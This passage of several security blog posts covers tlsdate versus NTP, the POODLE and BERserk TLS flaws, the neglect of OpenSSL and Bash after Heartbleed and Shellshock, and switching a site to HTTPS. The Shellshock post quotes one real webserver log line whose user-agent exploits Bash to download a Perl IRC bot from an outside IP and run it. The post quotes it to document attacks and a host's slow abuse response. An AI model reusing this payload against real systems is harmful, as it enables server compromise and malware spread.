There are some potential problems to consider with tlsdate, but none of them is even closely as serious as the problems of NTP. Adam Langley mentions here that using TLS for time setting and verifying the TLS certificate with the current system time is a circularity. However this isn't a problem if the existing system time is at least remotely close to the real time. If using tlsdate gets widespread and people add random servers as their time source strange things may happen. Just imagine server operator A thinks server B is a good time source and server operator B thinks server A is a good time source. Unlikely, but could be a problem. tlsdate defaults to the PTB (Physikalisch-Technische Bundesanstalt) as its default time source, that's an organization running atomic clocks in Germany. I hope they set their server time from the atomic clocks, then everything is fine. Also an issue is that you're delegating your trust to a server operator. Depending on what your attack scenario is that might be a problem. However it is a huge improvement trusting one time source compared to having a completely insecure time source.

So the conclusion is obvious: NTP is insecure, you shouldn't use it. You should use tlsdate instead. Operating systems should replace ntpd or other NTP-based solutions with tlsdated (ChromeOS already does).

(I should point out that the authentication problems have nothing to do with the current vulnerabilities. These are buffer overflows and this can happen in every piece of software. Tlsdate seems pretty secure, it uses seccomp to make exploitability harder. But of course tlsdate can have security vulnerabilities, too.)

Update: Accuracy and TLS 1.3

This blog entry got much more publicity than I expected, I'd like to add a few comments on some feedback I got.

A number of people mentioned the lack of accuracy provided by tlsdate. The TLS timestamp is in seconds, adding some network latency you'll get a worst case inaccuracy of around 1 second, certainly less than two seconds. I can see that this is a problem for some special cases, however it's probably safe to say that for most average use cases an inaccuracy of less than two seconds does not matter. I'd prefer if we had a protocol that is both safe and as accurate as possible, but we don't. I think choosing the secure one is the better default choice.

Then some people pointed out that the timestamp of TLS will likely be removed in TLS 1.3. From a TLS perspective this makes sense. There are already TLS users that randomize the timestamp to avoid leaking the system time (e. g. tor). One of the biggest problems in TLS is that it is too complex so I think every change to remove unneccesary data is good.
For tlsdate this means very little in the short term. We're still struggling to get people to start using TLS 1.2. It will take a very long time until we can fully switch to TLS 1.3 (which will still take some time till it's ready). So for at least a couple of years tlsdate can be used with TLS 1.2.

I think both are valid points and they show that in the long term a better protocol would be desirable. Something like NTP, but with secure authentication. It should be possible to get both: Accuracy and security. With existing protocols and software we can only have either of these - and as said, I'd choose security by default.

I finally wanted to mention that the Linux Foundation is sponsoring some work to create a better NTP implementation and some code was just published. However it seems right now adding authentication to the NTP protocol is not part of their plans.

Update 2:

OpenBSD just came up with a pretty nice solution that combines the security of HTTPS and the accuracy of NTP by using an HTTPS connection to define boundaries for NTP timesetting.

The world of SSL/TLS Internet encryption is in trouble again. You may have heard that recently a new vulnerability called POODLE has been found in the ancient SSLv3 protocol. Shortly before another vulnerability that's called BERserk has been found (which hasn't received the attention it deserved because it was published on the same day as Shellshock).
.
I think it is crucial to understand what led to these vulnerabilities. I find POODLE and BERserk so interesting because these two vulnerabilities were both unnecessary and could've been avoided by intelligent design choices. Okay, let's start by investigating what went wrong.

The mess with CBC

POODLE (Padding Oracle On Downgraded Legacy Encryption) is a weakness in the CBC block mode and the padding of the old SSL protocol. If you've followed previous stories about SSL/TLS vulnerabilities this shouldn't be news. There have been a whole number of CBC-related vulnerabilities, most notably the Padding oracle (2003), the BEAST attack (2011) and the Lucky Thirteen attack (2013) (Lucky Thirteen is kind of my favorite, because it was already more or less mentioned in the TLS 1.2 standard). The POODLE attack builds on ideas already used in previous attacks.

CBC is a so-called block mode. For now it should be enough to understand that we have two kinds of ciphers we use to authenticate and encrypt connections – block ciphers and stream ciphers. Block ciphers need a block mode to operate. There's nothing necessarily wrong with CBC, it's the way CBC is used in SSL/TLS that causes problems. There are two weaknesses in it: Early versions (before TLS 1.1) use a so-called implicit Initialization Vector (IV) and they use a method called MAC-then-Encrypt (used up until the very latest TLS 1.2, but there's a new extension to fix it) which turned out to be quite fragile when it comes to security. The CBC details would be a topic on their own and I won't go into the details now. The long-term goal should be to get rid of all these (old-style) CBC modes, however that won't be possible for quite some time due to compatibility reasons. As most of these problems have been known since 2003 it's about time.

The evil Protocol Dance

The interesting question with POODLE is: Why does a security issue in an ancient protocol like SSLv3 bother us at all? SSL was developed by Netscape in the mid 90s, it has two public versions: SSLv2 and SSLv3. In 1999 (15 years ago) the old SSL was deprecated and replaced with TLS 1.0 standardized by the IETF. Now people still used SSLv3 up until very recently mostly for compatibility reasons. But even that in itself isn't the problem. SSL/TLS has a mechanism to safely choose the best protocol available. In a nutshell it works like this:

a) A client (e. g. a browser) connects to a server and may say something like "I want to connect with TLS 1.2“
b) The server may answer "No, sorry, I don't understand TLS 1.2, can you please connect with TLS 1.0?“
c) The client says "Ok, let's connect with TLS 1.0“

The point here is: Even if both server and client support the ancient SSLv3, they'd usually not use it. But this is the idealized world of standards. Now welcome to the real world, where things like this happen:

a) A client (e. g. a browser) connects to a server and may say something like "I want to connect with TLS 1.2“
b) The server thinks "Oh, TLS 1.2, never heard of that. What should I do? I better say nothing at all...“
c) The browser thinks "Ok, server doesn't answer, maybe we should try something else. Hey, server, I want to connect with TLS 1.1“
d) The browser will retry all SSL versions down to SSLv3 till it can connect.

So here's our problem: There are broken servers out there that don't answer at all if they see a connection attempt with an unknown protocol. The well known SSL test by Qualys checks for this behaviour and calls it „Protocol intolerance“ (but „Protocol brokenness“ would be more precise). On connection fails the browsers will try all old protocols they know until they can connect. This behaviour is now known as the „Protocol Dance“ - and it causes all kinds of problems.

I first encountered the Protocol Dance back in 2008. Back then I already used a technology called SNI (Server Name Indication) that allows to have multiple websites with multiple certificates on a single IP address. I regularly got complains from people who saw the wrong certificates on those SNI webpages. A bug report to Firefox and some analysis revealed the reason: The protocol downgrades don't just happen when servers don't answer to new protocol requests, they also can happen on faulty or weak internet connections. SSLv3 does not support SNI, so when a downgrade to SSLv3 happens you get the wrong certificate. This was quite frustrating: A compatibility feature that was purely there to support broken hardware caused my completely legit setup to fail every now and then.

But the more severe problem is this: The Protocol Dance will allow an attacker to force downgrades to older (less secure) protocols. He just has to stop connection attempts with the more secure protocols. And this is why the POODLE attack was an issue after all: The problem was not backwards compatibility. The problem was attacker-controlled backwards compatibility.

The idea that the Protocol Dance might be a security issue wasn't completely new either. At the Black Hat conference this year Antoine Delignat-Lavaud presented a variant of an attack he calls "Virtual Host Confusion“ where he relied on downgrading connections to force SSLv3 connections.

"Whoever breaks it first“ - principle

The Protocol Dance is an example for something that I feel is an unwritten rule of browser development today: Browser vendors don't want things to break – even if the breakage is the fault of someone else. So they add all kinds of compatibility technologies that are purely there to support broken hardware. The idea is: When someone introduced broken hardware at some point – and it worked because the brokenness wasn't triggered at that point – the broken stuff is allowed to stay and all others have to deal with it.

To avoid the Protocol Dance a new feature is now on its way: It's called SCSV and the idea is that the Protocol Dance is stopped if both the server and the client support this new protocol feature. I'm extremely uncomfortable with that solution because it just adds another layer of duct tape and increases the complexity of TLS which already is much too complex.

There's another recent example which is very similar: At some point people found out that BIG-IP load balancers by the company F5 had trouble with TLS connection attempts larger than 255 bytes. However it was later revealed that connection attempts bigger than 512 bytes also succeed. So a padding extension was invented and it's now widespread behaviour of TLS implementations to avoid connection attempts between 256 and 511 bytes. To make matters completely insane: It was later found out that there is other broken hardware – SMTP servers by Ironport – that breaks when the handshake is larger than 511 bytes.

I have a principle when it comes to fixing things: Fix it where its broken. But the browser world works differently. It works with the „whoever breaks it first defines the new standard of brokenness“-principle. This is partly due to an unhealthy competition between browsers. Unfortunately they often don't compete very well on the security level. What you'll constantly hear is that browsers can't break any webpages because that will lead to people moving to other browsers.

I'm not sure if I entirely buy this kind of reasoning. For a couple of months the support for the ftp protocol in Chrome / Chromium is broken. I'm no fan of plain, unencrypted ftp and its only legit use case – unauthenticated file download – can just as easily be fulfilled with unencrypted http, but there are a number of live ftp servers that implement a legit and working protocol. I like Chromium and it's my everyday browser, but for a while the broken ftp support was the most prevalent reason I tend to start Firefox. This little episode makes it hard for me to believe that they can't break connections to some (broken) ancient SSL servers. (I just noted that the very latest version of Chromium has fixed ftp support again.)

BERserk, small exponents and PKCS #1 1.5

Okay, now let's talk about the other recent TLS vulnerability: BERserk. Independently Antoine Delignat-Lavaud and researchers at Intel found this vulnerability which affected NSS (and thus Chrome and Firefox), CyaSSL, some unreleased development code of OpenSSL and maybe others.

BERserk is actually a variant of a quite old vulnerability (you may begin to see a pattern here): The Bleichenbacher attack on RSA first presented at Crypto 2006. Now here things get confusing, because the cryptographer Daniel Bleichenbacher found two independent vulnerabilities in RSA. One in the RSA encryption in 1998 and one in RSA signatures in 2006, for convenience I'll call them BB98 (encryption) and BB06 (signatures). Both of these vulnerabilities expose faulty implementations of the old RSA standard PKCS #1 1.5. And both are what I like to call "zombie vulnerabilities“. They keep coming back, no matter how often you try to fix them. In April the BB98 vulnerability was re-discovered in the code of Java and it was silently fixed in OpenSSL some time last year.

But BERserk is about the other one: BB06. BERserk exposes the fact that inside the RSA function an algorithm identifier for the used hash function is embedded and its encoded with BER. BER is part of ASN.1. I could tell horror stories about ASN.1, but I'll spare you that for now, maybe this is a topic for another blog entry. It's enough to know that it's a complicated format and this is what bites us here: With some trickery in the BER encoding one can add further data into the RSA function – and this allows in certain situations to create forged signatures.

One thing should be made clear: Both the original BB06 attack and BERserk are flaws in the implementation of PKCS #1 1.5. If you do everything correct then you're fine. These attacks exploit the relatively simple structure of the old PKCS standard and they only work when RSA is done with a very small exponent. RSA public keys consist of two large numbers. The modulus N (which is a product of two large primes) and the exponent.

In his presentation at Crypto 2006 Daniel Bleichenbacher already proposed what would have prevented this attack: Just don't use RSA keys with very small exponents like three. This advice also went into various recommendations (e. g. by NIST) and today almost everyone uses 65537 (the reason for this number is that due to its binary structure calculations with it are reasonably fast).

There's just one problem: A small number of keys are still there that use the exponent e=3. And six of them are used by root certificates installed in every browser. These root certificates are the trust anchor of TLS (which in itself is a problem, but that's another story). Here's our problem: As long as there is one single root certificate with e=3 with such an attack you can create as many fake certificates as you want. If we had deprecated e=3 keys BERserk would've been mostly a non-issue.

There is one more aspect of this story: What's this PKCS #1 1.5 thing anyway? It's an old standard for RSA encryption and signatures. I want to quote Adam Langley on the PKCS standards here: "In a modern light, they are all completely terrible. If you wanted something that was plausible enough to be widely implemented but complex enough to ensure that cryptography would forever be hamstrung by implementation bugs, you would be hard pressed to do better."

Now there's a successor to the PKCS #1 1.5 standard: PKCS #1 2.1, which is based on technologies called PSS (Probabilistic Signature Scheme) and OAEP (Optimal Asymmetric Encryption Padding). It's from 2002 and in many aspects it's much better. I am kind of a fan here, because I wrote my thesis about this. There's just one problem: Although already standardized 2002 people still prefer to use the much weaker old PKCS #1 1.5. TLS doesn't have any way to use the newer PKCS #1 2.1 and even the current drafts for TLS 1.3 stick to the older - and weaker - variant.

What to do

I would take bets that POODLE wasn't the last TLS/CBC-issue we saw and that BERserk wasn't the last variant of the BB06-attack. Basically, I think there are a number of things TLS implementers could do to prevent further similar attacks:

* The Protocol Dance should die. Don't put another layer of duct tape around it (SCSV), just get rid of it. It will break a small number of already broken devices, but that is a reasonable price for avoiding the next protocol downgrade attack scenario. Backwards compatibility shouldn't compromise security.
* More generally, I think the working around for broken devices has to stop. Replace the „whoever broke it first“ paradigm with a „fix it where its broken“ paradigm. That also means I think the padding extension should be scraped.
* Keys with weak choices need to be deprecated at some point. In a long process browsers removed most certificates with short 1024 bit keys. They're working hard on deprecating signatures with the weak SHA1 algorithm. I think e=3 RSA keys should be next on the list for deprecation.
* At some point we should deprecate the weak CBC modes. This is probably the trickiest part, because up until very recently TLS 1.0 was all that most major browsers supported. The only way to avoid them is either using the GCM mode of TLS 1.2 (most browsers just got support for that in recent months) or using a very new extension that's rarely used at all today.
* If we have better technologies we should start using them. PKCS #1 2.1 is clearly superior to PKCS #1 1.5, at least if new standards get written people should switch to it.

Update: I just read that Mozilla Firefox devs disabled the protocol dance in their latest nightly build. Let's hope others follow.

The free software community was recently shattered by two security bugs called Heartbleed and Shellshock. While technically these bugs where quite different I think they still share a lot.

Heartbleed hit the news in April this year. A bug in OpenSSL that allowed to extract privat keys of encrypted connections. When a bug in Bash called Shellshock hit the news I was first hesistant to call it bigger than Heartbleed. But now I am pretty sure it is. While Heartbleed was big there were some things that alleviated the impact. It took some days till people found out how to practically extract private keys - and it still wasn't fast. And the most likely attack scenario - stealing a private key and pulling off a Man-in-the-Middle-attack - seemed something that'd still pose some difficulties to an attacker. It seemed that people who update their systems quickly (like me) weren't in any real danger.

Shellshock was different. It's astonishingly simple to use and real attacks started hours after it became public. If circumstances had been unfortunate there would've been a very real chance that my own servers could've been hit by it. I usually feel the IT stuff under my responsibility is pretty safe, so things like this scare me.

What OpenSSL and Bash have in common

Shortly after Heartbleed something became very obvious: The OpenSSL project wasn't in good shape. The software that pretty much everyone in the Internet uses to do encryption was run by a small number of underpaid people. People trying to contribute and submit patches were often ignored (I know that, I tried it). The truth about Bash looks even grimmer: It's a project mostly run by a single volunteer. And yet almost every large Internet company out there uses it. Apple installs it on every laptop. OpenSSL and Bash are crucial pieces of software and run on the majority of the servers that run the Internet. Yet they are very small projects backed by few people. Besides they are both quite old, you'll find tons of legacy code in them written more than a decade ago.

People like to rant about the code quality of software like OpenSSL and Bash. However I am not that concerned about these two projects. This is the upside of events like these: OpenSSL is probably much securer than it ever was and after the dust settles Bash will be a better piece of software. If you want to ask yourself where the next Heartbleed/Shellshock-alike bug will happen, ask this: What projects are there that are installed on almost every Linux system out there? And how many of them have a healthy community and received a good security audit lately?

Software installed on almost any Linux system

Let me propose a little experiment: Take your favorite Linux distribution, make a minimal installation without anything and look what's installed. These are the software projects you should worry about. To make things easier I did this for you. I took my own system of choice, Gentoo Linux, but the results wouldn't be very different on other distributions. The results are at at the bottom of this text. (I removed everything Gentoo-specific.) I admit this is oversimplifying things. Some of these provide more attack surface than others, we should probably worry more about the ones that are directly involved in providing network services.

After Heartbleed some people already asked questions like these. How could it happen that a project so essential to IT security is so underfunded? Some large companies acted and the result is the Core Infrastructure Initiative by the Linux Foundation, which already helped improving OpenSSL development. This is a great start and an example for an initiative of which we should have more. We should ask the large IT companies who are not part of that initiative what they are doing to improve overall Internet security.

Just to put this into perspective: A thorough security audit of a project like Bash would probably require a five figure number of dollars. For a small, volunteer driven project this is huge. For a company like Apple - the one that installed Bash on all their laptops - it's nearly nothing.

There's another recent development I find noteworthy. Google started Project Zero where they hired some of the brightest minds in IT security and gave them a single job: Search for security bugs. Not in Google's own software. In every piece of software out there. This is not merely an altruistic project. It makes sense for Google. They want the web to be a safer place - because the web is where they earn their money. I like that approach a lot and I have only one question to ask about it: Why doesn't every large IT company have a Project Zero?

Sparking interest

There's another aspect I want to talk about. After Heartbleed people started having a closer look at OpenSSL and found a number of small and one other quite severe issue. After Bash people instantly found more issues in the function parser and we now have six CVEs for Shellshock and friends. When a piece of software is affected by a severe security bug people start to look for more. I wonder what it'd take to have people looking at the projects that aren't in the spotlight.

I was brainstorming if we could have something like a "free software audit action day". A regular call where an important but neglected project is chosen and the security community is asked to have a look at it. This is just a vague idea for now, if you like it please leave a comment.

That's it. I refrain from having discussions whether bugs like Heartbleed or Shellshock disprove the "many eyes"-principle that free software advocates like to cite, because I think these discussions are a pointless waste of time. I'd like to discuss how to improve things. Let's start.

Here's the promised list of Gentoo packages in the standard installation:

bzip2
gzip
tar
unzip
xz-utils
nano
ca-certificates
mime-types
pax-utils
bash
build-docbook-catalog
docbook-xml-dtd
docbook-xsl-stylesheets
openjade
opensp
po4a
sgml-common
perl
python
elfutils
expat
glib
gmp
libffi
libgcrypt
libgpg-error
libpcre
libpipeline
libxml2
libxslt
mpc
mpfr
openssl
popt
Locale-gettext
SGMLSpm
TermReadKey
Text-CharWidth
Text-WrapI18N
XML-Parser
gperf
gtk-doc-am
intltool
pkgconfig
iputils
netifrc
openssh
rsync
wget
acl
attr
baselayout
busybox
coreutils
debianutils
diffutils
file
findutils
gawk
grep
groff
help2man
hwids
kbd
kmod
less
man-db
man-pages
man-pages-posix
net-tools
sed
shadow
sysvinit
tcp-wrappers
texinfo
util-linux
which
pambase
autoconf
automake
binutils
bison
flex
gcc
gettext
gnuconfig
libtool
m4
make
patch
e2fsprogs
udev
linux-headers
cracklib
db
e2fsprogs-libs
gdbm
glibc
libcap
ncurses
pam
readline
timezone-data
zlib
procps
psmisc
shared-mime-info

If you have any interest in IT security you probably heared of a vulnerability in the command line shell Bash now called Shellshock. Whenever serious vulnerabilities are found in such a widely used piece of software it's inevitable that this will have some impact. Machines get owned and abused to send Spam, DDoS other people or spread Malware. However, I feel a lot of the scale of the impact is due to the fact that far too many people run infrastructure in the Internet in an irresponsible way.

After Shellshock hit the news it didn't take long for the first malicious attacks to appear in people's webserver logs - beside some scans that were done by researchers. On Saturday I had a look at a few of such log entries, from my own servers and what other people posted on some forums. This was one of them:

0.0.0.0 - - [26/Sep/2014:17:19:07 +0200] "GET /cgi-bin/hello HTTP/1.0" 404 12241 "-" "() { :;}; /bin/bash -c \"cd /var/tmp;wget http://213.5.67.223/jurat;curl -O /var/tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

Note the time: This was on Friday afternoon, 5 pm (CET timezone). What's happening here is that someone is running a HTTP request where the user agent string which usually contains the name of the software (e. g. the browser) is set to some malicious code meant to exploit the Bash vulnerability. If successful it would download a malware script called jurat and execute it. We obviously had already upgraded our Bash installation so this didn't do anything on our servers. The file jurat contains a perl script which is a malware called IRCbot.a or Shellbot.B.

For all such logs I checked if the downloads were still available. Most of them were offline, however the one presented here was still there. I checked the IP, it belongs to a dutch company called AltusHost. Most likely one of their servers got hacked and someone placed the malware there.

I tried to contact AltusHost in different ways. I tweetet them. I tried their live support chat. I could chat with somebody who asked me if I'm a customer. He told me that if I want to report an abuse he can't help me, I should write an email to their abuse department. I asked him if he couldn't just tell them. He said that's not possible. I wrote an email to their abuse department. Nothing happened.

On sunday noon the malware was still online. When I checked again on late Sunday evening it was gone.

Don't get me wrong: Things like this happen. I run servers myself. You cannot protect your infrastructure from any imaginable threat. You can greatly reduce the risk and we try a lot to do that, but there are things you can't prevent. Your customers will do things that are out of your control and sometimes security issues arise faster than you can patch them. However, what you can and absolutely must do is having a reasonable crisis management.

When one of the servers in your responsibility is part of a large scale attack based on a threat that's headline in all news I can't even imagine what it takes not to notice for almost two days. I don't believe I was the only one trying to get their attention. The timescale you take action in such a situation is the difference between hundreds or millions of infected hosts. Having your hosts deploy malware that long is the kind of thing that makes the Internet a less secure place for everyone. Companies like AltusHost are helping malware authors. Not directly, but by their inaction.

I recently held a workshop about cryptography for web developers at the company Internations. I am publishing the slides here.

Part 1: Crypto and Web [PDF] [LaTeX], [Slideshare]
Part 2: How broken is TLS? [PDF] [LaTeX], [Slideshare]
Part 3: Don't do this yourself [PDF] [LaTeX], [Slideshare]
Part 4: Hashing, Tokens, Randomness [PDF] [LaTeX], [Slideshare]
Part 5: Don't believe the Crypto Hype [PDF] [LaTeX] [Slideshare]

Part 2 is the same talk I recently have at the Easterhegg conference about TLS.

I recently switched my personal web page and my blog to deliver content exclusively encrypted via HTTPS. I want to take this opportunity to give some facts about enabling TLS encryption by default and problems you may face.

First of all the non-problems: Enabling HTTPS by default is almost never a significant performance problem. If people tell me that they can not possibly enable HTTPS due to performance reasons the first thing I ask is if they believe this or if they have real benchmark data showing this. If you don't believe me on that, I can quote Adam Langley from Google here: "In January this year (2010), Gmail switched to using HTTPS for everything by default. Previously it had been introduced as an option, but now all of our users use HTTPS to secure their email between their browsers and Google, all the time. In order to do this we had to deploy no additional machines and no special hardware. On our production frontend machines, SSL/TLS accounts for less than 1% of the CPU load, less than 10KB of memory per connection and less than 2% of network overhead."

Enabling HTTPS may cause a number of compatibility issues you may not instantly think about. First of all, we know that IPs in the IPv4 space are limited and expensive these days, so many people probably can't afford having a distinct IP for their web page. The solution to that is a TLS extension called SNI (Server Name Indication) which allows to have different certificates for different domain names on the same IP. It works in all major browsers and has been working for quite some time. The only major browser you'll face these days that doesn't support SNI is the Android 2.x browser.

There are some subtle issues with SNI. One is that browsers have fallback modes if they cannot connect via TLS and that may lead to a connection downgrade to SSLv3. And that ancient protocol doesn't support extensions and thus no SNI. So you may have irregular certificate errors if you are on a bad connection. A solution to that on the server side is to just disable SSLv3. It will make SNI much more reliable.

I don't really have a clear picture how many browsers will fail with SNI. There are probably a number of embedded devices out there like smart TVs with browsers or things alike that have problems. If you have any experiences feel free to post them in the comments.

The first issue I only noticed after I switched to HTTPS: I had an application called RSS Graffiti set up to automatically post all articles I write to a facebook fan page. After changing to HTTPS only it silently stopped working. Re-adding my feed didn't work. I now found a similar service called dlvr.it that I now use to post my RSS feed to facebook. I can only assume that this is a glimpse of a much bigger problem: There are probably tons of applications and online services out there not prepared for an encrypted Internet. If we want more people to deploy encryption by default we need to find these issues, document them and hopefully put enough pressure on their developers to fix them.

Another yet unfixed issue is the Yandex Bot. Yandex is a search engine and although you may never have heard of it it's probably one of the few companies in this area that can claim to be a serious competitor to Google. The reason you may not know it is that it's mostly operating in Russian language. Depending on who your page visitors are this may matter more or less.

The Yandex Bot speaks SSL but according to the Qualys SSL test it only supports the ancient SSLv3. So you have a choice between three possibilities: Don't enable HTTPS by default, enable HTTPS with a shitty configuration supporting ancient technology that will cause trouble for SNI or enable HTTPS with a sane configuration and get no traffic from the leading Russian search engine. None of them sounds very good to me.

Another issue is third party content. For security reasons today's browsers block all active HTTP content (CSS, JavaScript etc.) on HTTPS webpages. This isn't much of a problem for me, but it's a problem for webpages that rely on advertising because from what I hear most advertisement providers don't support HTTPS yet (Google being a laudable exception here). This is the main reason you won't see many news webpages enforcing HTTPS. However, I still have passive third party HTTP content on my blog. That's why you'll probably see a yellow warning sign in front of the URL in some browsers.

Last weekend I was at the Easterhegg in Stuttgart, an event organized by the Chaos Computer Club. I had a talk with the title "How broken is TLS?"

This was quite a lucky topic. I submitted the talk back in January, so I had no idea that the Heartbleed bug would turn up and raise the interest that much. However, it also made me rework large parts of the talk, because after Heartbleed I though I had to get a much broader view on the issues. The slides are here as PDF, here as LaTeX and here on Slideshare.

There's also a video recording here (media.ccc.de) and also on Youtube.

I also had a short lightning talk with some thoughs on paperless life, however it's only in German. Slides are here (PDF), here (LaTeX) and here (Slideshare). (It seems there is no video recording, if it appears later I'll add the link.)